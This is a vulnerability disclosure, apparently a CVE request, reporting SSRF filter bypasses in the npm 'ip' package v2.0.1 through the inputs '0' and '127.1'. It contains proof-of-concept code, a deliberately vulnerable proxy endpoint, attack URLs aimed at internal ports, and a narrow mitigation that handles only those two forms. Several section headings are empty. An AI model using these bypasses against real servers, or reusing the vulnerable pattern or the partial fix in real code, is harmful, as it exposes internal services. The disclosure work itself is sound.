CVE Application Document

Multiple SSRF Bypass Vulnerabilities in NPM IP Package v2.0.1

Basic Information

Vulnerability Summary

Multiple critical input validation bypass vulnerabilities exist in the NPM IP package v2.0.1 ip.isPublic() and ip.isPrivate() functions. These vulnerabilities allow attackers to bypass Server-Side Request Forgery (SSRF) protection mechanisms by using alternative IP address representations that are incorrectly classified as public when they actually resolve to private/loopback addresses.

Primary Bypass Techniques:

  1. Null Route Bypass: Input "0" → resolves to 127.0.0.1
  2. Shortened IP Format Bypass: Input "127.1" → resolves to 127.0.0.1

Affected Functions

Vulnerability Details

Bypass Technique #1: Null Route Format ("0")

const ip = require('ip');
console.log(ip.isPublic("0"));    // Returns: true (INCORRECT - should be false)
console.log(ip.isPrivate("0"));   // Returns: false (INCORRECT - should be true)

The address "0" resolves to localhost (127.0.0.1) in most network stacks but is incorrectly identified as public.

Bypass Technique #2: Shortened IP Format ("127.1")

const ip = require('ip');
console.log(ip.isPublic("127.1"));  // Returns: true (INCORRECT - should be false)
console.log(ip.isPrivate("127.1")); // Returns: false (INCORRECT - should be true)

The address "127.1" is equivalent to 127.0.0.1 in standard networking but is incorrectly identified as public.

Correct Behavior (For Comparison)

console.log(ip.isPublic("127.0.0.1"));  // Returns: false (CORRECT)
console.log(ip.isPrivate("127.0.0.1")); // Returns: true (CORRECT)

Root Cause Analysis

The vulnerabilities stem from inadequate input validation and IP address normalization in the IP parsing logic. The functions fail to:

  1. Normalize IP addresses before validation
  2. Handle special cases like null route (0) and shortened formats (127.1)
  3. Apply comprehensive validation for all possible IP address representations

Proof of Concept

Basic Bypass Demonstration

var ip = require('ip');

// Vulnerable SSRF protection pattern (commonly used)
function makeRequest(userUrl) {
    const url = new URL(userUrl);
    const hostname = url.hostname;
    
    // Intended protection - BYPASSED!
    if (ip.isPublic(hostname)) {
        // Attacker gains access to internal resources
        return fetch(userUrl);
    } else {
        throw new Error("Private IP access denied");
    }
}

// ATTACK EXAMPLES:
makeRequest("http://0:3000/admin");        // ✓ BYPASSED - null route attack
makeRequest("http://127.1:8080/api");      // ✓ BYPASSED - shortened format attack
makeRequest("http://127.0.0.1:3000");      // ✗ BLOCKED - correctly identified

Impact Assessment

Severity: CRITICAL (CVSS 9.8)

Primary Impact:

Secondary Impact:

Affected Systems

Installation Base:

Typical Vulnerable Code Patterns:

// Express.js endpoint with SSRF protection
app.post('/proxy', (req, res) => {
    const targetUrl = new URL(req.body.url);
    if (ip.isPublic(targetUrl.hostname)) {
        // VULNERABLE TO BYPASS ATTACKS
        fetch(req.body.url).then(data => res.json(data));
    } else {
        res.status(403).json({error: "Private IP blocked"});
    }
});

Reproduction Steps

  1. Install NPM IP package v2.0.1: npm install ip@2.0.1
  2. Test both bypass techniques:
    # Test null route bypass
    node -e "const ip=require('ip'); console.log('0 bypass:', ip.isPublic('0'));"
    
    # Test shortened format bypass  
    node -e "const ip=require('ip'); console.log('127.1 bypass:', ip.isPublic('127.1'));"
    
    # Verify correct behavior
    node -e "const ip=require('ip'); console.log('127.0.0.1 correct:', ip.isPublic('127.0.0.1'));"
  3. Expected results: First two return true (bypasses), last returns false (correct)

Fix Recommendations

Immediate Mitigation

// Enhanced validation function
function isReallyPublic(address) {
    // Handle bypass techniques
    if (address === '0' || 
        address.startsWith('127.') || 
        address.match(/^127\.\d+$/)) {
        return false;
    }
    return ip.isPublic(address);
}

Long-term Fix

  1. Input Normalization: Normalize all IP addresses before validation
  2. Comprehensive Validation: Include all possible IP address representations
  3. Special Case Handling: Properly handle null routes and shortened formats

Timeline

Supporting Evidence

References

Researcher Information

Security Researcher
Previous CVE Discoveries: CVE-2023-42282 (NPM IP Package v1.1.8)
Research Focus: Input validation bypass techniques and SSRF vulnerabilities


CVE Assignment Request

Requested CVE Assignment For:
Multiple IP address format bypass vulnerabilities in NPM IP Package v2.0.1 affecting ip.isPublic() and ip.isPrivate() functions, leading to Server-Side Request Forgery (SSRF) attacks through null route ("0") and shortened IP format ("127.1") inputs that resolve to localhost but are incorrectly classified as public.

CVSS 3.1 Score: 9.8 (Critical)
CWE Classification: CWE-20 (Improper Input Validation)